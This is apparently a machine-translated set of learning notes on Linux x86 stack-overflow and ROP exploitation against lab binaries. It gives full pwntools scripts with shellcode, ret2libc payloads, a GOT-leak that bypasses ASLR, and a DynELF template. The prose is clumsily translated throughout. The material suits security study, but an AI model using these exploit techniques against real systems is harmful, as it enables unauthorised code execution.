Step-by-step study of ROP Linux x86 learning Notes
One, without any protection
Second, turn on DEP
Iii. turning on DEP and ASLR
Iv. turn on DEP and ASLR, no libc
Step-by-step study of ROP Linux x86 learning Notes
This part of the article is mainly based on the steamed rice God 一步一步学ROP
series of articles, I also follow, this article mainly records the problems and the experiment did not succeed in the place.
One, without any protection
You can find the relevant information on GitHub without having to compile the vulnerability code yourself, and also have a well-written exp.
From the very beginning of the foundation, learn the stack overflow without any protection. Use CHECKSEC to look at protection:
That is simple, directly with Shellcode hit can, here to notice that the return address of the overlay can be set to buf start address, and then put Shellcode in buf, but this buf address can not be directly debugged by GDB, because GDB debugging will affect the location of BUF , even if we shut down the ASLR of Linux. According to the steamed rice article, it is the function of opening core dump.
After opening, when a memory error occurs, a core dump file is generated under the TMP folder and then loaded with GDB to get the fixed address of buf in memory:
Then the pit, local debugging has not been opened, using Socat in remote, or through the core dump to get remote BUF address, and then the same exp hit on the success, exp as follows:
#!/usr/bin/env python
from pwn import *
# p = process(‘./level1‘)
p = remote(‘127.0.0.1‘,10008)
ret = 0xffffcec0
# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode + ‘A‘ * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()
Very strange,,,
Second, turn on DEP
Stacks can not be executed, DEP in Windows, called NX in Linux, look at the protection of Level2:
After the stack cannot be executed, the shellcode is useless, so consider using a system call to open a shell. So we need to solve three things:
· Get the system address
· Get parameter/bin/sh Address
· How to execute the system function
The assumption is that ASLR is closed, so the address of the system function in memory is fixed, and the address of the parameter/bin/sh is fixed. Through the Peda plug-in, find the address of the two respectively:
The address is then returned to the in-memory address of the system, giving Exp:
from pwn import *
sh = process("./level2")
systemaddr = 0xf7e31020
binaddr = 0xf7f557cf
junk = ‘a‘*136
fakebp = ‘a‘*4
shellcode = ""
shellcode += junk+fakebp
shellcode += p32(systemaddr)
shellcode += p32(1111)
shellcode += p32(binaddr)
sh.send(shellcode)
sh.interactive()
This local test was taken to the shell, or did not understand the level1 of the local test failed problems:
Iii. turning on DEP and ASLR
After the ASLR is turned on, the second part of the system and the parameter address directly in memory can not be used, but the general idea is to execute the system to open a shell.
The idea is to disclose the write function in memory address through the Write function, and then calculate the address of system in memory according to LIBC, and the parameter address can be obtained by the same method. Then decorate the address of the address as the vulnerability function ( 程序本身在内存中地址不是随机的
), overflow two times, the second implementation system, get the shell, give Exp:
from pwn import *
# sh = process("./level2")
sh = remote("127.0.0.1",10008)
libc = ELF("libc.so")
elf = ELF("level2")
# offset
readoffset = libc.symbols[‘read‘]
writeoffset = libc.symbols[‘write‘]
systemoffset = libc.symbols[‘system‘]
binoffset = 0x0015F7CF
# plt
readplt = elf.plt[‘read‘]
writeplt = elf.plt[‘write‘]
# got
readgot = elf.got[‘read‘]
writegot = elf.got[‘write‘]
# lead the address of write
payload = ""
vulfun = 0x8048436
junk = ‘a‘*136
fakebp = ‘a‘*4
payload += junk + fakebp
payload += p32(writeplt) + p32(vulfun) + p32(1) + p32(writegot) + p32(4)
sh.send(payload)
writeaddress = u32(sh.recv(4))
# calc the system and /bin/sh
systemadress = writeaddress - writeoffset + systemoffset
binaddress = writeaddress - writeoffset + binoffset
payload2 = ""
payload2 += junk + fakebp
payload2 += p32(systemadress) + p32(1) + p32(binaddress)
sh.send(payload2)
sh.interactive()
After the local test passes, try a remote call
Through the SOCAT command:
socat TCP4-LISTEN:10008,fork EXEC:./level2
Equally successful:
Iv. turn on DEP and ASLR, no libc
When DEP and ASLR are turned on, and there is no libc, the third method is not good enough, but this is an old routine.
Use Pwntools's dynelf to reveal the memory address of the system, and then call the Read function to write "/bin/sh" in the. BSS section, and then call system.
Tell me more about how to use the Dynelf module, which is the basic template:
p = process(‘./xxx‘)
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or ‘‘).encode(‘hex‘)))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup(‘system‘, ‘libc‘) #在libc文件中搜索system函数的地址
The module is pwntools specifically designed to deal with situations where there is no libc.
A step-by-step study of ROP Linux x86